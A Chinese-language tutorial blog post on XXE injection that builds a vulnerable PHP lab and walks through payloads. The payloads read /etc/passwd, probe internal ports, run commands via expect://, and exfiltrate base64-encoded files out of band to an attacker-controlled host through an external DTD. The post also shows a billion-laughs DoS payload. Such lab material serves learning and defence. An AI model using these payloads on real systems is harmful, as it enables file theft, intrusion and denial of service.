XXE 指北
XXE 全称是 XML External Entity,即 XML 外部实体注入攻击。
要学 XXE,必须会 XML
XML 基础
XML
用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括:XML 声明
、DTD 文档类型定义
(可选)、文档元素
:
1 |
|
其他两个元素都好理解,DTD
是啥呢?
DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用:
- 内部声明:
<!DOCTYPE 根元素 [元素声明]>
- 引用外部:
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD 中的一些重要的关键字:
- DOCTYPE:DTD 的声明
- ENTITY:实体的声明
- ELEMENT:元素的声明
- SYSTEM、PUBLIC:申请外部资源
完整的教程可以看这个:传送门🚪
DTD 中的实体
DTD 中的实体是什么呢?实体
是用于定义引用普通文本或特殊字符的快捷方式的变量,在 DTD 中使用ENTITY
声明。以下内容对DTD 中的实体
简称为实体
实体按照类型可以这样划分:
- 内置实体
- 字符实体
- 通用实体
- 参数实体
上面这 4 种类型,最特殊的是参数实体
,它用%
+空格+实体名称声明,例如<!ENTITY % 实体名称 "实体的值">
,引用时用%
+实体名称,并且只能在 DTD 中申明, DTD 中引用。
对于其他的实体,直接用实体名称申明,例如<!ENTITY 实体名称 "实体的值">
,引用时用&
+实体名称,只能在 DTD 中申明,可在 XML 和 DTD 中引用。
实体按照引用方式还可以划分为:内部实体与外部实体:
- 内部实体:
<!ENTITY 实体名称 "实体内容">
- 外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
这两种分类是完全独立的,所以一个实体可能既是内部实体也是参数实体,例如
1
2
3
4
5<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
通过以上的介绍,你会发现实体这个概念,实际上很像变量。都是,先声明,后引用,<!ENTITY ... >
是实体声明的格式。
XXE
XXE 主要是利用 DTD 引用外部实体导致的漏洞,如果你看过上面的内容你就会知道引用外部实体的方式就是:<!ENTITY 实体名称 SYSTEM "URI">
。
那么问题来了,"URL"
支持哪些类型的外部实体呢?不同程序的支持是不一样的:
上图是默认的支持协议,还可以支持扩展,如 PHP 支持的扩展协议有:
本文以 PHP 为例。需要注意的是,libxml 2.9.1
及更高版本,默认不解析外部实体。高版本需要加入 LIBXML_NOENT
参数才能解析外部实体:simplexml_load_string($_GET["data"], 'SimpleXMLElement', LIBXML_NOENT)
。
搭建测试环境推荐:传送门🚪
然后进入 www 目录下,增加 index.html
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<!DOCTYPE html>
<html>
<head>
<title>XXE Test</title>
</head>
<body>
<form action="index.php" method="get">
<textarea style="width:300px;height:100px;"></textarea>
<br>
<input name="data" type="submit" value="go" />
</form>
</body>
将 index.php
换为:
1
2
3
4
5<?php
print_r(simplexml_load_string($_GET["data"]));
?>
漏洞检测
- 检测 XML 是否会被解析:
payload
1
2
3
4<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "Tr0y is here!">]>
<hacker>&name;</hacker>
结果
1
SimpleXMLElement Object ( [name] => SimpleXMLElement Object ( [name] => Tr0y is here! ) )
证明可以解析 XML - 检测是否支持 DTD 引用外部实体:
payload
1
2
3
4<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "http://123.206.255.249/xxe_test">]>
<hacker>&name;</hacker>
在服务器上查看 web 日志,结果:
1
2> cat /var/log/httpd/access_log| grep "xxe"
***.***.***.*** - - [03/May/2019:14:31:53 +0800] "GET /xxe_test HTTP/1.0" 404 77 "-" "-"
在日志中有xxe_test
的记录,说明支持引用外部实体,那么很有可能是存在 XXE 的。
探测内网 http 端口
利用 XXE 来探测 http 端口,用途不大
payload
1
2
3
4<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "http://127.0.0.1:88">]>
<hacker>&name;</hacker>
如果很久都没反应或者出现:
1
Warning: simplexml_load_string(http://127.0.0.1:88): failed to open stream: Connection refused
说明端口是关闭的。
如果网页快速加载完毕,说明端口开着。
攻击内网网站
payload 和检测端口类似,利用 XXE 发起请求,用途不大
读取任意文件
利用 file
协议读取文件,危害较大
payload
1
2
3
4<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<hacker>&name;</hacker>
结果:
1
SimpleXMLElement Object ( [name] => SimpleXMLElement Object ( [name] => root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false ) )
执行系统命令
PHP 安装了 expect
扩展时才能利用,该扩展默认没有安装。危害极大
payload
1
2
3
4<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "expect://ls">]>
<hacker>&name;</hacker>
关于两种形式的 payload
如果你把上面都看完了,你会发现每个 payload 实际上都有 2 种形式:
第一种:
1
2
3
4<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<hacker>&name;</hacker>
第二种:
1
2
3
4
5<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
第二种实际上就是上面所说的 参数实体
。我更倾向于使用第一种。因为第二种将 payload 执行的结果直接嵌入到 DTD 里去了,我们没法保证 payload 的结果的格式满足 DTD 的要求,所以经常会导致程序报错。
例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17Warning: simplexml_load_string(): file:///etc/passwd:1: parser error : internal error in /var/www/html/index.php on line 3
Warning: simplexml_load_string(): root:x:0:0:root:/root:/bin/bash in /var/www/html/index.php on line 3
Warning: simplexml_load_string(): ^ in /var/www/html/index.php on line 3
Warning: simplexml_load_string(): file:///etc/passwd:1: parser error : DOCTYPE improperly terminated in /var/www/html/index.php on line 3
Warning: simplexml_load_string(): root:x:0:0:root:/root:/bin/bash in /var/www/html/index.php on line 3
Warning: simplexml_load_string(): ^ in /var/www/html/index.php on line 3
Warning: simplexml_load_string(): file:///etc/passwd:1: parser error : Start tag expected, '<' not found in /var/www/html/index.php on line 3
Warning: simplexml_load_string(): root:x:0:0:root:/root:/bin/bash in /var/www/html/index.php on line 3
Warning: simplexml_load_string(): ^ in /var/www/html/index.php on line 3
我们可以找到 root:x:0:0:root:/root:/bin/bash
,说明 payload 执行成功了,但是效果相当不好。
那么难道 参数实体
的 XXE 就没用任何用处了吗?有 2 个常见的场景:
- DTD 之外被禁止引用实体,这时只能在 DTD 内引用实体
- 程序无回显,只能利用 Blind XXE,即 XXE 盲注
XXE 盲注
我们把 PHP 代码里的print_r
取掉就是无回显的 XXE 了。既然没有回显,我们就要想办法走 OOB,通过 http 请求外带数据。
简单来说,Blink XXE 主要使用了 DTD 的参数实体
和内部实体
。上面说过,实体很像变量,既然如此这样岂不是就能外带数据了?的确是这样,不过有些地方需要注意。
在尝试盲注的时候,我发现了一个现象,<!ENTITY % hacker SYSTEM "http://192.168.26.175/?secret=%secret;">
或者<!ENTITY hacker SYSTEM "http://192.168.26.175/?secret=%secret;">
都是可以的,但是%secret;
不会被替换为123
,如果是%%secret;
也不会被替换为%secret;
;<!ENTITY % hacker "http://192.168.26.175/?secret=%secret;">
或者<!ENTITY hacker "http://192.168.26.175/?secret=%secret;">
都是不行的,因为不能直接在参数实体的定义中引用参数实体:
1
Warning: simplexml_load_string(): Entity: line 4: parser error : PEReferences forbidden in internal subset in /var/www/html/index.php on line 3
来试试:
不加 SYSTEM
:
1
2
3
4
5
6
7<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % secret "123">
<!ENTITY hacker "http://192.168.26.175/?secret=%secret;">
]>
<hacker>&hacker;</hacker>
结果
1
Warning: simplexml_load_string(): Entity: line 4: parser error : PEReferences forbidden in internal subset in /var/www/html/index.php on line 3
加了 SYSTEM
1
2
3
4
5
6
7<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % secret "123">
<!ENTITY hacker SYSTEM "http://192.168.26.175/?secret=%secret;">
]>
<hacker>&hacker;</hacker>
结果:
1
Warning: simplexml_load_string(): Entity: line 4: parser error : Invalid URI: http://192.168.26.175/?secret=%secret; in /var/www/html/index.php on line 3
%secret;
没被特殊处理。
那么我们可以得出结论,要想将 %secret;
替换为 123
,就不能使用 SYSTEM
,但是我们又想通过 SYSTEM
让数据走 OOB。所以只能嵌套了:
1
2
3
4
5
6
7
8<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % secret "123">
<!ENTITY % hacker "<!ENTITY % sending SYSTEM 'http://192.168.26.175/?secret=%secret;'>">
%hacker;
%sending;
]>
结果:
1
Warning: simplexml_load_string(): Entity: line 4: parser error : PEReferences forbidden in internal subset in /var/www/html/index.php on line 3
还是不行,因为secret=%secret;
中有%
存在,看来对于不能直接在参数实体的定义中引用参数实体
的限制能够穿越多层引号。
那如果变为secret=%secret;
呢?
1 |
|
结果
1
Warning: simplexml_load_string(): Entity: line 1: parser error : Invalid URI: http://192.168.26.175/?secret=%secret; in /var/www/html/index.php on line 3
也就是说,最里面这一层的 %secret;
经过处理的确会变成%secret;
,但是内层就不会再进行处理了,所以这个方法也没用。
但是我们将 <!ENTITY % hacker "<!ENTITY % sending SYSTEM 'http://192.168.26.175/?secret=%secret;'>">
放到外部文件中,就可以绕过不能直接在参数实体的定义中引用参数实体
的限制:
payload:
1
2
3
4
5
6
7
8<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % secret "123">
<!ENTITY % visit_hacker SYSTEM "http://192.168.26.175/Tr0y.xml">
%visit_hacker;
%hacker;
%sending;
]>
Tr0y.xml:
1
<!ENTITY % hacker "<!ENTITY % sending SYSTEM 'http://192.168.26.175/?secret=%secret;'>">
日志结果:
1
192.168.26.1 - - [03/May/2019:17:54:18 +0800] "GET /?secret=123 HTTP/1.0" 200 495 "-" "-"
如果 %secret;
中有奇怪的字符导致 URL 非法,用 php://
转一下就行:
payload:
1
2
3
4
5
6
7
8<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % secret SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % visit_hacker SYSTEM "http://your_own_ip/Tr0y.xml">
%visit_hacker;
%hacker;
]>
<hacker>&sending;</hacker>
日志:
1
192.168.26.1 - - [03/May/2019:16:33:31 +0800] "GET /?secret=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovYmluL2ZhbHNlCg== HTTP/1.0" 200 495 "-" "-"
base64 解码即可。
这样一来,即使限制在 DTD
外部定义数据,或者页面没有回显,也可以将数据到了。
当然这样也可以:
1
2
3
4
5
6
7
8
9<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % secret "123">
<!ENTITY % visit_hacker SYSTEM "http://192.168.26.175/Tr0y.xml">
%visit_hacker;
%hacker;
]>
<hacker>&sending;</hacker>
只不过需要改一下Tr0y.xml
:
1
<!ENTITY % hacker "<!ENTITY sending SYSTEM 'http://192.168.26.175/?secret=%secret;'>">
注意,经过测试,Troy.xml
中的 <!ENTITY sending SYSTEM 'http://192.168.26.176/?secret=%secret;'>
中的http://192.168.26.176/?secret=%secret;
,长度大于 1k 会报错:Detected an entity reference loop
。所以 XXE 盲注的时候数据外带的量是有限制的。
题外话:我觉得这个盲注就像个 bug,明明规定不能直接在参数实体的定义中引用参数实体
,通过外部的 XML 文件居然就可以,估计哪一天libxml
修复了就没了。。。
一个技巧
CDATA
指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。在 XML 元素中,<
(新元素的开始)和 &
(字符实体的开始)是非法的。某些文本,比如 JavaScript 代码,包含大量 <
或 &
字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 <![CDATA[
开始,由 ]]>
结束。
通过上面的介绍,我们可以将读取文件的结果放在 CDATA 里面,这样就不会因为内容里含有特殊字符导致报错了:
1
2
3
4
5
6
7
8
9<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data ANY[
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.26.175/Tr0y.xml">
%dtd;
]>
<data>&all;</data>
Tr0y.xml:
1
<!ENTITY all '%start;%goodies;%end;'>
其他
XXE 的概念涉及到了外部实体,严格来说没用到 DTD 或者外部实体的不算 XXE。但是也有一些有意思的攻击方式,这里做个记录:
DoS 攻击
著名的billion laughs attack
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
这个是网上流传的经典的 payload,但是在libxml<2.9.1
的测试过程中,我发现会报错:
1
Warning: simplexml_load_string(): Entity: line 1: parser error : Detected an entity reference loop in /var/www/html/index.php on line 3
现在也限制分配的内存了,这样的攻击现在应该很少见了。XSLT 注入攻击:可以看这篇文章,传送门🚪。XSLT 简单地说是对 XML 文档进行转化的语言,可以将 XML 转为 txt、HTML 等等格式的文件。
杂谈
XXE 感觉最近挺少见了,原因应该是各类解析组件的完善——默认不支持外部实体,所谓的默认安全机制
就是这样吧。
来呀快活呀